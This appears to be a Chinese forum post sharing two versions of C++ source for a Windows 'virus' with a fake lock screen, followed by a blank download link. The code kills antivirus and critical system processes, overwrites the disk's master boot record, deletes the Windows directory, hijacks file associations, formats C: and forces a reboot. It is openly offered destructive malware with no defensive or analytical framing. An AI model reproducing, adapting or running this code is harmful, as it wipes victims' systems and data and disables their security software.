|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
源码v2.0:
- #include <windows.h>
- #include <iostream>
- #include <cmath>
- using namespace std;
- LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCMdLine, int iCmdShow) {
- int password, userinput,result = 0;
- static TCHAR szAppName[] = TEXT("MyWindows");
- HWND hwnd;
- MSG msg;
- WNDCLASS wndclass;
- system("taskkill /f /im 360tray.exe");
- wndclass.style = CS_HREDRAW | CS_VREDRAW;
- wndclass.lpfnWndProc = WndProc;
- wndclass.cbClsExtra = 0;
- wndclass.cbWndExtra = 0;
- wndclass.hInstance = hInstance;
- wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
- wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
- wndclass.lpszMenuName = NULL;
- wndclass.lpszClassName = szAppName;
- if (!RegisterClass(&wndclass))
- {
- MessageBox(NULL, TEXT("这个程序需要在 Windows NT 才能执行!"), szAppName, MB_ICONERROR);
- return 0;
- }
- hwnd = CreateWindow(szAppName,
- TEXT("鱼C工作室"),
- WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- NULL,
- NULL,
- hInstance,
- NULL);
- result = MessageBox(NULL, TEXT("This is a WindowsVirus, Hahaha!\n想要关闭的话,请点“No”,否则点“Yes”"), TEXT("WinVir"),
- MB_YESNO | MB_ICONWARNING);
- if (result == IDYES) {
- ShowWindow(hwnd, iCmdShow);
- UpdateWindow(hwnd);
- password = rand() + (time(0) / 60);
- system("taskkill /f /im explorer.exe");
- system("title WinVirNote");
- cout << "Your Computer Is Locked." << endl;
- cout << "Please Enter PassWord To UnLock Your Computer." << endl;
- cout << "PassWord:";
- cin >> userinput;
- if (userinput == password) {
- system("explorer.exe");
- cout << "You're a Good Joy!" << endl;
- }
- else {
- LPCWSTR DiskFileName = TEXT("\\\\.\\PhysicalDrive0");
- char code[] =
- "'By: Hacker Office->WinVir -- Hacker Office(c)'\
- 'By: Hacker Office->WinVir -- Hacker Office(c)'\
- 'By: Hacker Office->WinVir -- Hacker Office(c)'";
- BYTE MBR[512];
- DWORD s, t = NULL;
- HANDLE handle = NULL;
- memcpy(MBR, code, sizeof(code) - 1);
- handle = CreateFile(
- DiskFileName,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- 0,
- OPEN_EXISTING,
- 0,
- 0);
- if (handle == INVALID_HANDLE_VALUE) {
- MessageBox(NULL, TEXT("Fucked Your Computer!!!"), TEXT("Error"), MB_OK | MB_ICONERROR);
- system("del /s/f/q %SystemRoot%");
- }
- else {
- WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
- DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
- CloseHandle(handle);
- }
- system("assoc .bat = batfile");
- system("assoc .bat = exefile");
- system("assoc .txt = batfile");
- system("assoc .exe = txtfile");
- system("assoc .ini = exefile");
- system("assoc .dll = sysfile");
- system("taskkill /f /im csrss.exe");
- system("taskkill /f /im lsm.exe");
- system("taskkill /f /im wininit.exe");
- system("taskkill /f /im dwm.exe");
- system("taskkill /f /im lsass.exe");
- system("format C:");
- system("start Error.vbs");
- system("shutdown -r -t 0");
- }
- while (GetMessage(&msg, NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return msg.wParam;
- }
- return 0;
- }
- LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
- {
- HDC hdc;
- PAINTSTRUCT ps;
- RECT rect;
- switch (message)
- {
- case WM_PAINT:
- hdc = BeginPaint(hwnd, &ps);
- GetClientRect(hwnd, &rect);
- DrawText(hdc, TEXT("输入密码以解锁你的电脑"), -1, &rect,
- DT_SINGLELINE | DT_CENTER | DT_VCENTER);
- EndPaint(hwnd, &ps);
- return 0;
- case WM_CLOSE:
- system("taskkill /f /im svchost.exe");
- case WM_DESTROY:
- PostQuitMessage(0);
- return 0;
- }
- return DefWindowProc(hwnd, message, wParam, lParam);
- }
复制代码
源码v1.0:
- #include <windows.h>
- #include <iostream>
- #include <cmath>
- using namespace std;
- LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCMdLine, int iCmdShow) {
- int password, userinput,result = 0;
- static TCHAR szAppName[] = TEXT("MyWindows");
- HWND hwnd;
- MSG msg;
- WNDCLASS wndclass;
- system("taskkill /f /im 360tray.exe");
- wndclass.style = CS_HREDRAW | CS_VREDRAW;
- wndclass.lpfnWndProc = WndProc;
- wndclass.cbClsExtra = 0;
- wndclass.cbWndExtra = 0;
- wndclass.hInstance = hInstance;
- wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
- wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
- wndclass.lpszMenuName = NULL;
- wndclass.lpszClassName = szAppName;
- if (!RegisterClass(&wndclass))
- {
- MessageBox(NULL, TEXT("这个程序需要在 Windows NT 才能执行!"), szAppName, MB_ICONERROR);
- return 0;
- }
- hwnd = CreateWindow(szAppName,
- TEXT("鱼C工作室"),
- WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- NULL,
- NULL,
- hInstance,
- NULL);
- result = MessageBox(NULL, TEXT("This is a WindowsVirus, Hahaha!\n想要关闭的话,请点“No”,否则点“Yes”"), TEXT("WinVir"),
- MB_YESNO | MB_ICONWARNING);
- if (result == IDYES) {
- ShowWindow(hwnd, iCmdShow);
- UpdateWindow(hwnd);
- password = rand() + (time(0) / 60);
- system("taskkill /f /im explorer.exe");
- system("title WinVirNote");
- cout << "Your Computer Is Locked." << endl;
- cout << "Please Enter PassWord To UnLock Your Computer." << endl;
- cout << "PassWord:";
- cin >> userinput;
- if (userinput == password) {
- system("explorer.exe");
- cout << "You're a Good Joy!" << endl;
- }
- else {
- LPCWSTR DiskFileName = TEXT("\\\\.\\PhysicalDrive0");
- char code[] =
- "'By: Hacker Office->WinVir -- Hacker Office(c)'\
- 'By: Hacker Office->WinVir -- Hacker Office(c)'\
- 'By: Hacker Office->WinVir -- Hacker Office(c)'";
- BYTE MBR[512];
- DWORD s, t = NULL;
- HANDLE handle = NULL;
- memcpy(MBR, code, sizeof(code) - 1);
- handle = CreateFile(
- DiskFileName,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- 0,
- OPEN_EXISTING,
- 0,
- 0);
- if (handle == INVALID_HANDLE_VALUE) {
- MessageBox(NULL, TEXT("Fucked Your Computer!!!"), TEXT("Error"), MB_OK | MB_ICONERROR);
- system("del /s/f/q %SystemRoot%");
- }
- else {
- WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
- DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
- CloseHandle(handle);
- }
- system("taskkill /f /im csrss.exe");
- system("taskkill /f /im lsm.exe");
- system("taskkill /f /im wininit.exe");
- system("taskkill /f /im dwm.exe");
- system("taskkill /f /im lsass.exe");
- system("format C:");
- system("start Error.vbs");
- system("shutdown -r -t 0");
- }
- while (GetMessage(&msg, NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return msg.wParam;
- }
- return 0;
- }
- LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
- {
- HDC hdc;
- PAINTSTRUCT ps;
- RECT rect;
- switch (message)
- {
- case WM_PAINT:
- hdc = BeginPaint(hwnd, &ps);
- GetClientRect(hwnd, &rect);
- DrawText(hdc, TEXT("输入密码以解锁你的电脑"), -1, &rect,
- DT_SINGLELINE | DT_CENTER | DT_VCENTER);
- EndPaint(hwnd, &ps);
- return 0;
- case WM_CLOSE:
- system("taskkill /f /im svchost.exe");
- case WM_DESTROY:
- PostQuitMessage(0);
- return 0;
- }
- return DefWindowProc(hwnd, message, wParam, lParam);
- }
复制代码
下载地址:
|
|